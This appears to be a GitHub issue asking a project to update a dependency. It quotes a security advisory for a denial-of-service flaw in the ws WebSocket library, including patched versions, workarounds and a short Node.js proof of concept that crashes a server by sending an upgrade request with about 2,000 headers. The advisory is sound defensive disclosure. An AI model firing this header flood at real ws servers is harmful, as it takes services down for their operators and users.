ws affected by a DoS when handling a request with many HTTP headers

[levi-genoptic]

Hey there,

Currently this library is using an older version of @microsoft/signalr (8.0.0) which there for uses an older version of WS ws@^7.4.5. I would recomend updating if possbile.

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)
Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.